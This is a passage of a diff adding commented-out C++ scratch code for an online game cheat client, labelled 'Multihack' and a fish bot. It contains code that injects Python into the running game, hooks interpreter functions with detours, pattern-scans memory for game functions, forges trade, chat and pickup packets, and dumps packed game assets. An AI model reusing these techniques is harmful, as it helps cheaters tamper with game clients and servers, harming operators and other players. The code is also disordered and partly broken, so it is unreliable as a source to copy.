PythonDefine::_PyRun_SimpleStringFlags("import dbg", NULL); + + + +//////int tyt = PythonDefine::_PyRun_SimpleStringFlags("import sys", NULL); + +////int o = PythonDefine::_PyRun_SimpleStringFlags("import root", NULL); +////int iyy = PythonDefine::_PyRun_SimpleStringFlags("import system_python", NULL); + + + + +////int u = PythonDefine::_PyRun_SimpleStringFlags("import kdbg\nkdbg.LogBox('Brak banner.tga')",NULL); +//////int m = PythonDefine::_PyRun_SimpleStringFlags("dbg.LogBox('Brak banner.tga')", NULL); +//////int vf = PythonDefine::_PyRun_SimpleStringFlags("import dbg\ndbg.LogBox('Brak banner.tga')", NULL); +////// int xx = PythonDefine::_PyRun_SimpleStringFlags("exec(compile(open('d:\\k.py').read(), 'd:\\k.py', 'exec'))", NULL); +////// int xx1 = PythonDefine::_PyRun_SimpleStringFlags("exec(compile(open('test.py').read(), 'test.py', 'exec'))", NULL); +///*PyObject* args = PythonDefine::_PyTuple_New(1); + +//PythonDefine::_PyTuple_SetItem(args, 0, PythonDefine::_PyString_FromString("ll")); +//PyObject* ob = PythonDefine::_PyImport_ImportModule("dbg"); +//PyObject* func = PythonDefine::_PyObject_GetAttrString(ob, "LogBox"); +//PyObject* ret = PythonDefine::_PyObject_Call(func, args, NULL); +//PyObject* oboo=PythonDefine::_PyImport_ImportModule("test");*/ + + +////// // PythonDefine::_PyRun_SimpleString("import chat\nchat.AppendChat(2, 'Multihack by Cycu')"); + + +////// std::string str; + +////// + +//// PyObject * exc; +//// PyObject * v; +//// PyObject * tb; +//// char * errStr; + +//// PythonDefine::_PyErr_Fetch(&exc, &v, &tb); +//// if (exc != NULL) +//// { +//// int g = 7; +//// } +//// /*errStr = PythonDefine::_PyString_AsString(v); +//// str.append("Error: "); +//// str.append(errStr);*/ + +//// +//// + + +//Globals::iCPythonApplicationInstance; +//DWORD u = GameFunctions::PlayerGetItemMetinSocket(0, 0); +//MessageBox(NULL, to_wstring(u).c_str(), L"", NULL); +//Globals::iCPythonApplicationInstance; +//int i = 9; +/*DWORD* pkItemData; +Globals::CItemManagerGetItemDataPointer((void*)Globals::iCItemManagerInstance, GameFunctions::PlayerGetItemIndex(0), &pkItemData); +const char* i = Globals::CItemDataGetName(pkItemData);*/ + + +/*ShowWindowAsync(Globals::hWnds[0], SW_SHOWMAXIMIZED);*/ + + +/*for (int i = 0; i < 4; i++) +{ +PlaySound(L"SystemAsterisk", NULL, SND_SYNC); +}*/ +/*GameFunctions::NetworkStreamConnectGameServer(0);*/ +//DWORD i = Globals::iCPythonCharacterManagerInstance + 32; +//DWORD y = *reinterpret_cast(i); +//DWORD z = *reinterpret_cast(y); +//DWORD z2 = *reinterpret_cast(y+4); +////TCharacterInstanceMap m_kAliveInstMap = *(TCharacterInstanceMap*)(z); +//TCharacterInstanceMap m_kAliveInstMap2 = *(TCharacterInstanceMap*)(y); +//TCharacterInstanceMap m_kAliveInstMap3 = *(TCharacterInstanceMap*)(z2); +//QColor color = QColorDialog::getColor(Qt::yellow, this); +//string i = color.name().toStdString(); +//StringExtension::ReplaceString(i, "0x", ""); +//StringExtension::ReplaceString(i, "#", ""); +//i.erase(std::remove(i.begin(), i.end(), '#'), i.end()); +//string u = "|cFF" + i + "|H|h[Eloszka]"; + +//string y = "|cFF005500|H|hK|cFFff0000|H|ht|cFF3a6eff|H|ho |cFF00ff00|H|hj|cFFff00ff|H|he|cFF55ffff|H|hs|cFFaa55ff|H|ht |cFF732704|H|ht|cFFffff7f|H|he|cFF717313|H|hc|cFF212173|H|hh|cFFffffff|H|hn|cFFff0000|H|hi|cffff7f|H|hk|cFFff00ff|H|hi|caaff7f|H|he|cFF00ff7f|H|hm|cFF23b7d4|H|h?"; +//GameFunctions::NetworkStreamSendChatPacket(y.c_str(),6); + + +/*GameFunctions::NetworkStreamSendSendExchangeItemAddPacket(TItemPos(1, 0), 1); +GameFunctions::NetworkStreamSendSendExchangeAcceptPacket();*/ +/*string a = ProtectExtension::GetMacAdress(); +string b = ProtectExtension::GetCpuId(); +string f = ProtectExtension::GetHWID(); +string d = ProtectExtension::GetMachineName(); +ComputerInformation computerInformation; +memset(&computerInformation, 0, sizeof(computerInformation)); +memcpy(&computerInformation.getMacAdress, a.c_str(), a.length()); +memcpy(&computerInformation.getCpuId, b.c_str(), b.length()); +memcpy(&computerInformation.getHWID, f.c_str(), f.length()); +memcpy(&computerInformation.getMachineName, d.c_str(), d.length()); + + +std::ofstream out("computerInformation"); +out.write(reinterpret_cast(&computerInformation), sizeof(computerInformation));*/ + + + +/*for (TCharacterInstanceMap::iterator itor = m_kAliveInstMap3.begin(); itor != m_kAliveInstMap3.end(); itor++) +{ +DWORD vid = itor->first; +int objectType = GameFunctions::InstanceBaseGetInstanceType(itor->second); +if (objectType == TYPE_PC) +{ +const char * name = GameFunctions::InstanceBaseGetNameString(itor->second); +int break1 = 0; +} +}*/ + +/*bool f = GameFunctionsCustom::PlayerIsAlive(); +int i = 0;*/ + + + +/* +map vidList = GameFunctionsCustom::GetObjectListInDistance(0, 4000); +for (map::iterator itor = vidList.begin(); itor != vidList.end(); itor++) +{ + + +AppendFishBotLogNormal(GameFunctions::InstanceBaseGetNameString(itor->second)); +}*/ + + +/*typedef const char *(__thiscall* tCInstanceBaseGetNameString)(void* This); +tCInstanceBaseGetNameString CInstanceBaseGetNameString = (tCInstanceBaseGetNameString)((DWORD)GetModuleHandle(NULL) + +0x61BC0); + +DWORD iCPythonCharacterManagerInstance = *reinterpret_cast((DWORD)GetModuleHandle(NULL) + 0xAFFBF); +typedef std::map TCharacterInstanceMap; +DWORD a = iCPythonCharacterManagerInstance + 32; +DWORD b = *reinterpret_cast(a); +DWORD c = *reinterpret_cast(b + 4); + +TCharacterInstanceMap m_kAliveInstMap = *(TCharacterInstanceMap*)(c); + + + + +for (TCharacterInstanceMap::iterator itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) +{ +DWORD vid = itor->first; + + +typedef const char *(__thiscall* tCInstanceBaseGetNameString)(void* This); +MessageBox(NULL, to_string(vid).c_str(), CInstanceBaseGetNameString(itor->second), NULL); +}*/ + + + + + + +/*GameFunctions::NetworkStreamSendItemMovePacket(TItemPos(1, 0), TItemPos(1, 3), -9);*/ + + +//GameFunctions::NetworkStreamSendItemMovePacket(TItemPos(1, 0), TItemPos(1, 3), 9); + + +// +//int u = GameFunctions::GetTargetVID(); +// +//GameFunctions::SendExchangeStartPacket(u); +//GameFunctions::SendExchangeItemAddPacket(TItemPos(1, 0), 1); +//GameFunctions::SendExchangeAcceptPacket(); +//GameFunctions::SendItemUsePacket(0); + + +//GameFunctions::NewFishing(); + + +// +//PythonDefine::Initialize(); +// +// +// +// +// +// +//Py_NoSiteFlag = 1; Py_FrozenFlag = 1; Py_IgnoreEnvironmentFlag = 1; Py_SetPythonHome("python"); Py_SetProgramName(""); +//Py_Initialize(); +// +///* PySys_SetPath("C:/Users/Alex/Desktop/Vesteris s2");*/ +// +//int o = PythonDefine::_PyRun_SimpleStringFlags("exec(compile(open('example.py').read(), 'example.py', 'exec'))"); +/*initexample();*/ +/* o = PyRun_SimpleStringFlags2("import sys", 0); + o = PyRun_SimpleStringFlags2("import ctypes", 0); + o = PyRun_SimpleStringFlags2("import sys\nsys.path.insert(0, 'lib')", 0); + o = PyRun_SimpleStringFlags2("import sys\nsys.path.insert(0, 'lib/ctypes')", 0); + o = PyRun_SimpleStringFlags2("import ctypes", 0); + o = PyRun_SimpleStringFlags2("import md5", 0);*/ + + + +//DWORD l = (DWORD)GetModuleHandle(NULL); +/* nPyEval_EvalFrameEx = (PythonDefine::tPyEval_EvalFrameEx)DetourFunction((PBYTE)PythonDefine::_PyEval_EvalFrameEx, (PBYTE)NewPyEval_EvalFrameEx); + nPyFrame_New = (PythonDefine::tPyFrame_New)DetourFunction((PBYTE)PythonDefine::_PyFrame_New, (PBYTE)NewPyFrame_New);*/ + + /* _PyRun_SimpleStringFlags("exec(compile(open('example.py').read(), 'example.py', 'exec'))" );*/ + // /**/ + + + + /* PythonDefine::_PyRun_SimpleStringFlags("exec(compile(open('example.py').read(), 'example.py', 'exec'))" ,0);*/ + /* DWORD i = (DWORD)GetModuleHandle(NULL); + DWORD u = *reinterpret_cast( i+ 0x02BFEE9C); + DWORD uz = *(DWORD *)(u + 4); + DWORD uyz = *(DWORD *)(uz + 4); + DWORD uyzy = *(DWORD *)(uz + 0x88); + DWORD uyzu = *(DWORD *)(uyz + 0x88); + + */ + // DWORD v3 = (*(int(__thiscall **)(DWORD *))(u[1] + 136))(u + 1); + + /* PyObject* m_poModule; + PyObject* m_poDic; + + PythonDefine::tPyRun_String sxPyRun_String = NULL; + sxPyRun_String = (PythonDefine::tPyRun_String)(Globals::hEntryBaseAddress + 0x0010B970); + sxPyRun_String("exec(compile(open('zest.py').read(), 'zest.py', 'exec'))", 257, m_poDic, m_poDic, 0);*/ + + + + /* int diff = (&function2 - &function1); + printf("pagesize: %d, diff: %d\n", getpagesize(), diff);*/ + + /* int(*fptr)(int*,int*); + + void *memfun = malloc(4096); + + if (mprotect(memfun, 4096, PROT_READ | PROT_EXEC | PROT_WRITE) == -1) { + perror("mprotect"); + } + + memcpy(memfun, (const void*)&function2, diff); + + + + + static PythonDefine::tPyEval_EvalFrameEx nPyEval_EvalFrameEx = NULL; +static PythonDefine::tPyFrame_New nPyFrame_New = NULL; +//static PyObject * __cdecl NewPyEval_EvalFrameEx(_frame *f, int throwflag) +//{ +// /*PyObject * temp =PythonDefine::_PyEval_EvalFrameEx2(f, throwflag);*/ +//return nPyEval_EvalFrameEx(f, throwflag); +//} +// +//static _frame * __cdecl NewPyFrame_New(PyThreadState *tstate, PyCodeObject *code, PyObject *globals, PyObject *locals) +//{ +// _frame * temp = PythonDefine::_PyFrame_New2(tstate, code, globals, locals); +// return nPyFrame_New(tstate, code, globals, locals); +//} + + + + + +/*typedef std::map TCharacterInstanceMap; +DWORD i = Globals::iCPythonCharacterManagerInstance + 32; +DWORD y = *reinterpret_cast(i); +DWORD z = *reinterpret_cast(y); +DWORD z2 = *reinterpret_cast(y+4); +TCharacterInstanceMap m_kAliveInstMap = *(TCharacterInstanceMap*)(z); +TCharacterInstanceMap m_kAliveInstMap2 = *(TCharacterInstanceMap*)(y); +TCharacterInstanceMap m_kAliveInstMap3 = *(TCharacterInstanceMap*)(z2); +int u = m_kAliveInstMap.size(); +TCharacterInstanceMap::iterator itor; +for (itor = m_kAliveInstMap.begin(); itor != m_kAliveInstMap.end(); itor++) +{ +int i = 9; +}*/ +//if (SHCreateDirectoryEx(NULL, L"d:\\Dump\\", NULL)) +//{ +// +//} +//std::map< int, std::string>::iterator it = Hooks::uuu.begin(); +//while (it != Hooks::uuu.end()) +//{ +// +// MainForm::AppendFishBotLog(it->second.c_str()); +// LPCVOID huj = NULL; +// DWORD ii = NULL; +// ((DWORD*(__thiscall*)(DWORD*))(Globals::hEntryBaseAddress + 0x00025126))(&ii); +// DWORD YY = *(DWORD*)(Globals::hEntryBaseAddress + 0x00696A28); +// DWORD mm = *reinterpret_cast(Globals::hEntryBaseAddress + 0x00696A28); +// Globals::CEterPackManagerGet = (Globals::tCEterPackManagerGet)(Globals::hEntryBaseAddress + 0x00007C11); +// Globals::CEterPackManagerGet((void*)mm, ii, it->second.c_str(), &huj); +// +// /*size = *(DWORD*)(&ii + 284);*/ +// +// +// int size = ((DWORD(__thiscall*)(DWORD))(Globals::hEntryBaseAddress + 0x0000B82F))(ii); +// int size = ((DWORD(__thiscall*)(DWORD))(Globals::hEntryBaseAddress + 0x0000B82F))((DWORD)&ii); +// ofstream fout; +// string s1 = it->second; +// string s2 = StringExtension::ReplaceString(s1, "d:\\", ""); +// string s25 = StringExtension::ReplaceString(s2, "d:/", ""); +// string s3 = StringExtension::ReplaceString(s25, "/", "\\"); +// string s4 = StringExtension::ReplaceString(s3, "\\", "\\"); +// string s99 = StringExtension::ReplaceString(s3, "\\", "-"); +// string s5 = FileExtension::GetDirectoryPathFromFilePatch(s4); +// string s6 = "d:\\Dump\\" + s5; +// +// mkdir(s6.c_str()); +// if (huj != NULL) +// { +// char *bj = new char[size]; +// memcpy(&bj, huj, sizeof(bj)); +// fout.open("d:\\Dump\\" + s4, ios::binary | ios::out); +// fout.write(bj, size); +// fout.close(); +// } +// it++; +//} + + + +/* if (bCPythonPlayerInstance != NULL && mCPythonPlayerInstance != NULL) + { + + DWORD movAsm = PatternScan::FindPattern(bCPythonPlayerInstance, mCPythonPlayerInstance); + if (movAsm != NULL) + { + pCPythonPlayerInstance =*reinterpret_cast(movAsm); + + } + + + } + + + + if (bCPythonCharacterManagerInstance != NULL && mCPythonCharacterManagerInstance != NULL) + { + DWORD movAsm = PatternScan::FindPattern(bCPythonCharacterManagerInstance, mCPythonCharacterManagerInstance); + if (movAsm != NULL) + { + pCPythonCharacterManagerInstance = *reinterpret_cast(movAsm); + } + + } + + if (bCPythonNetworkStreamInstance != NULL && mCPythonNetworkStreamInstance != NULL) + { + DWORD movAsm = PatternScan::FindPattern(bCPythonNetworkStreamInstance, mCPythonNetworkStreamInstance); + if (movAsm != NULL) + { + pCPythonNetworkStreamInstance = *reinterpret_cast(movAsm); + } + + } + + //##################################################################################################################################### + if (bPyCallClassMemberFunc != NULL && mPyCallClassMemberFunc != NULL) + { + pPyCallClassMemberFunc = PatternScan::FindPattern(bPyCallClassMemberFunc, mPyCallClassMemberFunc); + + } + + if (bCNetworkStreamRecv != NULL && mCNetworkStreamRecv != NULL) + { + pCNetworkStreamRecv = PatternScan::FindPattern(bCNetworkStreamRecv, mCNetworkStreamRecv); + } + + if (bCNetworkStreamSend != NULL && mCNetworkStreamSend != NULL) + { + pCNetworkStreamSend = PatternScan::FindPattern(bCNetworkStreamSend, mCNetworkStreamSend); + } + + if (bCPythonNetworkStreamSendItemUsePacket != NULL && mCPythonNetworkStreamSendItemUsePacket != NULL) + { + pCPythonNetworkStreamSendItemUsePacket = PatternScan::FindPattern(bCPythonNetworkStreamSendItemUsePacket, mCPythonNetworkStreamSendItemUsePacket); + } + + if (bCPythonPlayerNEW_Fishing != NULL && mCPythonPlayerNEW_Fishing != NULL) + { + pCPythonPlayerNEW_Fishing = PatternScan::FindPattern(bCPythonPlayerNEW_Fishing, mCPythonPlayerNEW_Fishing); + } + + if (bCPythonChatAppendChat != NULL && mCPythonChatAppendChat != NULL) + { + pCPythonChatAppendChat = PatternScan::FindPattern(bCPythonChatAppendChat, mCPythonChatAppendChat); + } + + if (bCPythonNetworkStreamSendFishingPacket != NULL && mCPythonNetworkStreamSendFishingPacket != NULL) + { + pCPythonNetworkStreamSendFishingPacket = PatternScan::FindPattern(bCPythonNetworkStreamSendFishingPacket, mCPythonNetworkStreamSendFishingPacket); + } + + if (bCPythonNetworkStreamSendExchangeStartPacket != NULL && mCPythonNetworkStreamSendExchangeStartPacket != NULL) + { + pCPythonNetworkStreamSendExchangeStartPacket = PatternScan::FindPattern(bCPythonNetworkStreamSendExchangeStartPacket, mCPythonNetworkStreamSendExchangeStartPacket); + } + + if (bCPythonNetworkStreamSendExchangeItemAddPacket != NULL && mCPythonNetworkStreamSendExchangeItemAddPacket != NULL) + { + pCPythonNetworkStreamSendExchangeItemAddPacket = PatternScan::FindPattern(bCPythonNetworkStreamSendExchangeItemAddPacket, mCPythonNetworkStreamSendExchangeItemAddPacket); + } + + if (bCPythonNetworkStreamSendExchangeAcceptPacket != NULL && mCPythonNetworkStreamSendExchangeAcceptPacket != NULL) + { + pCPythonNetworkStreamSendExchangeAcceptPacket = PatternScan::FindPattern(bCPythonNetworkStreamSendExchangeAcceptPacket, mCPythonNetworkStreamSendExchangeAcceptPacket); + } + + if (bCPythonPlayerGetTargetVID != NULL && mCPythonPlayerGetTargetVID != NULL) + { + pCPythonPlayerGetTargetVID = PatternScan::FindPattern(bCPythonPlayerGetTargetVID, mCPythonPlayerGetTargetVID); + } + + if (bCPythonPlayerClickSkillSlot != NULL && mCPythonPlayerClickSkillSlot != NULL) + { + pCPythonPlayerClickSkillSlot = PatternScan::FindPattern(bCPythonPlayerClickSkillSlot, mCPythonPlayerClickSkillSlot); + } + if (bCPythonPlayerIsSkillCoolTime != NULL && mCPythonPlayerIsSkillCoolTime != NULL) + { + pCPythonPlayerIsSkillCoolTime = PatternScan::FindPattern(bCPythonPlayerIsSkillCoolTime, mCPythonPlayerIsSkillCoolTime); + } + + if (bCPythonPlayerPickCloseItem != NULL && mCPythonPlayerPickCloseItem != NULL) + { + pCPythonPlayerPickCloseItem = PatternScan::FindPattern(bCPythonPlayerPickCloseItem, mCPythonPlayerPickCloseItem); + + } + if (bCPythonPlayerGetMainCharacterIndex != NULL && mCPythonPlayerGetMainCharacterIndex != NULL) + { + pCPythonPlayerGetMainCharacterIndex = PatternScan::FindPattern(bCPythonPlayerGetMainCharacterIndex, mCPythonPlayerGetMainCharacterIndex); + } + + if (bCPythonPlayerGetRace != NULL && mCPythonPlayerGetRace != NULL) + { + pCPythonPlayerGetRace = PatternScan::FindPattern(bCPythonPlayerGetRace, mCPythonPlayerGetRace); + } + + if (bCPythonPlayerSetStatus != NULL && mCPythonPlayerSetStatus != NULL) + { + pCPythonPlayerSetStatus = PatternScan::FindPattern(bCPythonPlayerSetStatus, mCPythonPlayerSetStatus); + } + + if (bCPythonPlayerGetStatus != NULL && mCPythonPlayerGetStatus != NULL) + { + pCPythonPlayerGetStatus = PatternScan::FindPattern(bCPythonPlayerGetStatus, mCPythonPlayerGetStatus); + } + + if (bCPythonPlayerGetName != NULL && mCPythonPlayerGetName != NULL) + { + pCPythonPlayerGetName = PatternScan::FindPattern(bCPythonPlayerGetName, mCPythonPlayerGetName); + } + + if (bCPythonPlayerGetItemIndex != NULL && mCPythonPlayerGetItemIndex != NULL) + { + pCPythonPlayerGetItemIndex = PatternScan::FindPattern(bCPythonPlayerGetItemIndex, mCPythonPlayerGetItemIndex); + } + + if (bCPythonPlayerGetItemIndex != NULL && mCPythonPlayerGetItemIndex != NULL) + { + pCInstanceBaseGetNameString = PatternScan::FindPattern(bCInstanceBaseGetNameString, mCInstanceBaseGetNameString); + } + + if (bCInstanceBaseGetInstanceType != NULL && mCInstanceBaseGetInstanceType != NULL) + { + pCInstanceBaseGetInstanceType = PatternScan::FindPattern(bCInstanceBaseGetInstanceType, mCInstanceBaseGetInstanceType); + } + + if (bCPythonItemGetPickedItemID != NULL && mCPythonItemGetPickedItemID != NULL) + { + pCPythonItemGetPickedItemID = PatternScan::FindPattern(bCPythonItemGetPickedItemID, mCPythonItemGetPickedItemID); + } + + if (bCPythonCharacterManagerGetInstancePtr != NULL && mCPythonCharacterManagerGetInstancePtr != NULL) + { + pCPythonCharacterManagerGetInstancePtr = PatternScan::FindPattern(bCPythonCharacterManagerGetInstancePtr, mCPythonCharacterManagerGetInstancePtr); + } + + if (bCInstanceBaseGetDistance != NULL && mCInstanceBaseGetDistance != NULL) + { + pCInstanceBaseGetDistance = PatternScan::FindPattern(bCInstanceBaseGetDistance, mCInstanceBaseGetDistance); + } + + if (bCPythonCharacterManagerIsAliveVID != NULL && mCPythonCharacterManagerIsAliveVID != NULL) + { + pCPythonCharacterManagerIsAliveVID = PatternScan::FindPattern(bCPythonCharacterManagerIsAliveVID, mCPythonCharacterManagerIsAliveVID); + } + + if (bCPythonPlayerSetAttackKeyState != NULL && mCPythonPlayerSetAttackKeyState != NULL) + { + pCPythonPlayerSetAttackKeyState = PatternScan::FindPattern(bCPythonPlayerSetAttackKeyState, mCPythonPlayerSetAttackKeyState); + } + + if (bCInstanceBaseSetDirection != NULL && mCInstanceBaseSetDirection != NULL) + { + pCInstanceBaseSetDirection = PatternScan::FindPattern(bCInstanceBaseSetDirection, mCInstanceBaseSetDirection); + } + + if (bCPythonPlayerNEW_GetMainActorPtr != NULL && mCPythonPlayerNEW_GetMainActorPtr != NULL) + { + + pCPythonPlayerNEW_GetMainActorPtr = PatternScan::FindPattern(bCPythonPlayerNEW_GetMainActorPtr, mCPythonPlayerNEW_GetMainActorPtr); + } + + if (bCInstanceBaseIsMountingHorse != NULL && mCInstanceBaseIsMountingHorse != NULL) + { + pCInstanceBaseIsMountingHorse = PatternScan::FindPattern(bCInstanceBaseIsMountingHorse, mCInstanceBaseIsMountingHorse); + } + + if (bCPythonNetworkStreamSendChatPacket != NULL && mCPythonNetworkStreamSendChatPacket != NULL) + { + pCPythonNetworkStreamSendChatPacket = PatternScan::FindPattern(bCPythonNetworkStreamSendChatPacket, mCPythonNetworkStreamSendChatPacket); + } + + if (bCGraphicTextInstanceSetValue != NULL && mCGraphicTextInstanceSetValue != NULL) + { + + pCGraphicTextInstanceSetValue = PatternScan::FindPattern(bCGraphicTextInstanceSetValue, mCGraphicTextInstanceSetValue); + } + + if (bCPythonNetworkStreamSendItemPickUpPacket != NULL && mCPythonNetworkStreamSendItemPickUpPacket != NULL) + { + + pCPythonNetworkStreamSendItemPickUpPacket = PatternScan::FindPattern(bCPythonNetworkStreamSendItemPickUpPacket, mCPythonNetworkStreamSendItemPickUpPacket); + } + if (bCPythonItemCreateItem != NULL && mCPythonItemCreateItem != NULL) + { + + pCPythonItemCreateItem = PatternScan::FindPattern(bCPythonItemCreateItem, mCPythonItemCreateItem); + } + + if (bCInstanceBaseNEW_GetPixelPosition != NULL && mCInstanceBaseNEW_GetPixelPosition != NULL) + { + pCInstanceBaseNEW_GetPixelPosition = PatternScan::FindPattern(bCInstanceBaseNEW_GetPixelPosition, mCInstanceBaseNEW_GetPixelPosition); + + + } + if (bCInstanceBaseNEW_MoveToDestPixelPositionDirection != NULL && mCInstanceBaseNEW_MoveToDestPixelPositionDirection != NULL) + { + + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = PatternScan::FindPattern(bCInstanceBaseNEW_MoveToDestPixelPositionDirection, mCInstanceBaseNEW_MoveToDestPixelPositionDirection); + + + + } + + + + + //##################################################################################################################################### +#ifdef CHECK_OFFSETS + if (Globals::pPyCallClassMemberFunc == 0x00) + { + + throw std::exception("PyCallClassMemberFunc pattern fail"); + } + if (Globals::pCNetworkStreamRecv == 0x00) + { + throw std::exception("CNetworkStreamRecv pattern fail"); + } + + if (Globals::pCPythonNetworkStreamSendItemUsePacket == 0x00) + { + throw std::exception("CPythonNetworkStreamSendItemUsePacket pattern fail"); + } + if (Globals::pCPythonPlayerNEW_Fishing == 0x00) + { + throw std::exception("CPythonPlayerNEW_Fishing pattern fail"); + } + + if (Globals::pCPythonChatAppendChat == 0x00) + { + MessageBoxA(NULL, "Pattern Fail: CPythonChatAppendChat", "Error", MB_OK); + }/**/ + + +//if (Globals::CPythonPlayerGetTargetVID == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerGetTargetVID", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerPickCloseItem == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerPickCloseItem", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerGetMainCharacterIndex == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerGetMainCharacterIndex", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerGetRace == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerGetRace", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerIsSkillCoolTime == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerIsSkillCoolTime", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerSetStatus == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayer::SetStatus", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerGetStatus == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerGetStatus", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerGetName == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerGetName", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerClickSkillSlot == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerClickSkillSlot", "Error", MB_OK); +//} +//if (Globals::CPythonPlayerGetItemIndex == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerGetItemIndex", "Error", MB_OK); +//} +//if (Globals::CInstanceBaseGetNameString == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CInstanceBaseGetNameString", "Error", MB_OK); +//} +//if (Globals::CInstanceBaseGetInstanceType == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CInstanceBaseGetInstanceType", "Error", MB_OK); +//} +//if (Globals::CPythonItemGetPickedItemID == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonItemGetPickedItemID", "Error", MB_OK); +//} +//if (Globals::CPythonCharacterManagerGetInstancePtr == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonCharacterManagerGetInstancePtr", "Error", MB_OK); +//} +//if (Globals::CInstanceBaseGetDistance == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CInstanceBaseGetDistance", "Error", MB_OK); +//} +//if (Globals::CPythonCharacterManagerIsAliveVID == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonCharacterManagerIsAliveVID", "Error", MB_OK); +//} +//if (Globals::pCPythonPlayerSetAttackKeyState == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerSetAttackKeyState", "Error", MB_OK); +//} +//if (Globals::pCPythonNetworkStreamSendItemPickUpPacket == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonNetworkStreamSendItemPickUpPacket", "Error", MB_OK); +//} +//if (Globals::pCInstanceBaseSetDirection == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CInstanceBaseSetDirection", "Error", MB_OK); +//} +//if (Globals::pCPythonPlayerNEW_GetMainActorPtr == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonPlayerNEW_GetMainActorPtr", "Error", MB_OK); +//} +// +//if (Globals::pCInstanceBaseIsMountingHorse == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CInstanceBaseIsMountingHorse", "Error", MB_OK); +//} +//if (Globals::pCPythonNetworkStreamSendChatPacket == 0x00) +//{ +// MessageBoxA(NULL, "Pattern Fail: CPythonNetworkStreamSendChatPacket", "Error", MB_OK); +//} +//#endif + +//*/ + +/*Globals::iCPythonCharacterManagerInstance = *reinterpret_cast(hEntryBaseAddress + pCPythonCharacterManagerInstance); +Globals::iCPythonPlayerInstance = *reinterpret_cast(hEntryBaseAddress + pCPythonPlayerInstance); +Globals::iCPythonNetworkStreamInstance = *reinterpret_cast(hEntryBaseAddress + pCPythonNetworkStreamInstance)*/; +//##################################################################################################################################### + +// +//static const char* bCPythonPlayerInstance; +//static const char* bCPythonNetworkStreamInstance; +//static const char* bCPythonCharacterManagerInstance; +//static const char* mCPythonPlayerInstance; +//static const char* mCPythonNetworkStreamInstance; +//static const char* mCPythonCharacterManagerInstance; + + +////##################################################################################################################################### +//static const char* bPyCallClassMemberFunc; +//static const char* bCNetworkStreamRecv; +//static const char* bCNetworkStreamSend; +//static const char* bCPythonNetworkStreamSendItemUsePacket; +//static const char* bCPythonPlayerNEW_Fishing; +//static const char* bCPythonPlayerGetTargetVID; +//static const char* bCPythonPlayerPickCloseItem; +//static const char* bCPythonPlayerGetMainCharacterIndex; +//static const char* bCPythonPlayerGetRace; +//static const char* bCPythonPlayerIsSkillCoolTime; +//static const char* bCPythonPlayerSetStatus; +//static const char* bCPythonPlayerGetStatus; +//static const char* bCPythonPlayerGetName; +//static const char* bCPythonPlayerClickSkillSlot; +//static const char* bCPythonPlayerGetItemIndex; +//static const char* bCInstanceBaseGetNameString; +//static const char* bCInstanceBaseGetInstanceType; +//static const char* bCPythonItemGetPickedItemID; +//static const char* bCPythonCharacterManagerGetInstancePtr; +//static const char* bCInstanceBaseGetDistance; +//static const char* bCPythonCharacterManagerIsAliveVID; +//static const char* bCPythonPlayerSetAttackKeyState; +//static const char* bCPythonNetworkStreamSendItemPickUpPacket; +//static const char* bCInstanceBaseSetDirection; +//static const char* bCPythonPlayerNEW_GetMainActorPtr; +//static const char* bCPythonChatAppendChat; +//static const char* bCInstanceBaseIsMountingHorse; +//static const char* bCPythonNetworkStreamSendChatPacket; +//static const char* bCGraphicTextInstanceSetValue; +//static const char* bCPythonItemCreateItem; +//static const char* bCPythonNetworkStreamSendFishingPacket; +//static const char* bCPythonNetworkStreamSendExchangeStartPacket; +//static const char* bCPythonNetworkStreamSendExchangeItemAddPacket; +//static const char* bCPythonNetworkStreamSendExchangeAcceptPacket; +// +//static const char* bCInstanceBaseNEW_GetPixelPosition; +//static const char* bCInstanceBaseNEW_MoveToDestPixelPositionDirection; +// +////##################################################################################################################################### +//static const char* mPyCallClassMemberFunc; +//static const char* mCNetworkStreamRecv; +//static const char* mCNetworkStreamSend; +//static const char* mCPythonNetworkStreamSendItemUsePacket; +//static const char* mCPythonPlayerNEW_Fishing; +//static const char* mCPythonPlayerGetTargetVID; +//static const char* mCPythonPlayerPickCloseItem; +//static const char* mCPythonPlayerGetMainCharacterIndex; +//static const char* mCPythonPlayerGetRace; +//static const char* mCPythonPlayerIsSkillCoolTime; +//static const char* mCPythonPlayerSetStatus; +//static const char* mCPythonPlayerGetStatus; +//static const char* mCPythonPlayerGetName; +//static const char* mCPythonPlayerClickSkillSlot; +//static const char* mCPythonPlayerGetItemIndex; +//static const char* mCInstanceBaseGetNameString; +//static const char* mCInstanceBaseGetInstanceType; +//static const char* mCPythonItemGetPickedItemID; +//static const char* mCPythonCharacterManagerGetInstancePtr; +//static const char* mCInstanceBaseGetDistance; +//static const char* 